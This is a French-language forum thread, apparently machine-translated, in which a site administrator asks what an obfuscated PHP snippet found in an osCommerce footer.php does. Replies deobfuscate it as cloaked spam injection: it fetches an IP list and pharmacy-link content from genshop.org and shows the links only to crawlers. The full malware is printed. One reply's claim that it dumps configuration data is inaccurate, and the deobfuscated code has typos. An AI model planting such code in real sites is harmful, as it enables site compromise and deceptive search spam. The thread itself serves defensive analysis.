2011-05-31 2 views
5

Je regarde un site qui a été exploité par quelqu'un/quelque chose. Le site a eu un tas de liens injectés dans son pied de page qui relie à des emplacements pharmaceutiques, et qui sait quoi d'autre. Il y a beaucoup de liens en haut du pied de page. Je peux seulement les trouver maintenant, sur les pages mises en cache dans l'index de Yahoo. Google n'est toujours pas satisfait du site, et le site en ligne ne montre plus de liens. C'est pour un client ... donc je sais surtout ce qu'on m'a dit, et ce que je peux trouver d'autre sage.Ce code est-il un exploit? Quel est ce code?

Je trouve ce code à tout « pointe/haut » de la footer.php (c'est un site OsCommerse):

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ($x0f = 0; $x0f < $x13($x0e); $x0f++) {$x10 = $x1a($x0e[$x0f]);if ($x10 != ""){ if (($x11 = $x18($x10, "*")) !== false) $x10 = $x19($x10, 0,$x11); if ($x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?> 

Quand je considère la source des pages en cache qui ont des liens « mauvais », ce code correspond exactement à l'endroit où je l'ai trouvé dans la source footer.php. Un peu de recherche sur google montrent qu'il existe des exploits là-bas avec un code similaire.

Que pensez-vous, quand je le lance sur mon propre serveur tout ce que je reçois est le commentaire repris dans la seule source comme ceci:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> 

Je ne veux pas simplement retirer hâtivement le code et dites 'votre bien' juste parce que ça a l'air mauvais, surtout parce que je n'ai pas de moyen immédiat de savoir que les 'mauvais liens' sont partis. BTW, les liens vont tous à une URL morte.

Vous pouvez voir les pages mises en cache mal encore Yahoo: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

+0

Ceci est juste une des données cryptées. – Racooon

+0

Oui, c'est du code d'exploit. délibérément obscurci pour le rendre «dur» de voir ce qu'il fait. Une fois que vous aurez traversé les couches d'obfuscation, cela se résumera à quelque chose comme 'eval ($ do_something_nasty)'. –

+4

'echo -n 'primitive' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67' :) – zoul

Répondre

2

est ici le script unobfuscated (plus ou moins)

il est le dumping que le contenu de this url sur votre page

il vérifie également la remote_addr contre un list of IPs (google, et al) pour essayer de rester non détecté.

semble que vous être attaced par genshop.com

<?php 

$count="cou\156\x74"; // count 
$error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting 
$file="\146\151l\x65"; // file 
$file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents 
$strlen="\163\x74rle\156"; // strlen 
$strpos="\163tr\160o\x73"; // strpos 
$substr="su\x62\x73\164\162"; // substr 
$trim="tr\151m"; //trim 

ini_set(' display_errors','off'); 
$error_reporting(0); 

$x0b = "http://genshop.org/scripts/mask.txt"; 
$url = $x0b; 
$tmp = "REMOTE_ADDR"; 
$x0d = $_SERVER[$tmp]; 
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt"; 

$IPs = @ $file($url); 
for ($i = 0; $i < $count($IPs); $i++) { 
    $curr_ip = $trim($ips[$i]); 
     if ($curr_ip != "") { 
      if (($x11 = $strpos($curr_ip, "*")) !== false) 
       $curr_ip = $substr($curr_ip, 0,$x11); 

      // check visitor ip against mask list 
      if ($strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0) { 
       $x12 = $file_get_content($tmp_filename); 
       echo "$x12"; 
       // print spam contents 
      } 
     } 
    } 
echo $curr_ip; 
} 

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076"; 
echo $tmp2; 
?> 
+0

Comment pourraient-ils obtenir cela dans la source? Est-ce juste un cas de mauvaises permissions de fichiers ou est-ce un cas de mauvais hébergement ou les deux? – rhaag71

+0

ma conjecture est que vous avez un script quelque part qui écrit sur votre disque, et il est exploitable. peut-être et télécharger un script ou un cgi sur le plateau qui modifie le système de fichiers? Exécutez-vous exec() ou system() n'importe où? Fixable avec de meilleures autorisations, mais je serais mieux si vous avez trouvé et fermé le trou. –

+0

le code d'exploit est toujours bizarre ... remarquez qu'ils ont du code supplémentaire pour corriger l'astérisque dans leur liste IP mask ... pourquoi ne pas modifier le mask.txt? lol. –

2

très bien est une tentative de vider des informations sur votre configuration en cours d'exécution. Retirez-le immédiatement.

La façon dont cela fonctionne est très compliquée, et est au-delà de moi, mais c'est l'une des premières étapes de piratage de votre site.

+0

Merci pour la réponse, il me dépasse également. Je vais l'enlever et revenir ici un peu plus tard. Je pense que je vais regarder à travers toute la source et essayer de trouver plus. Merci – rhaag71

+0

@ rhaag71 vous devriez probablement changer ftp et tous les mots de passe de connexion au serveur que vous avez aussi, ou le même gars peut juste revenir. – Jordan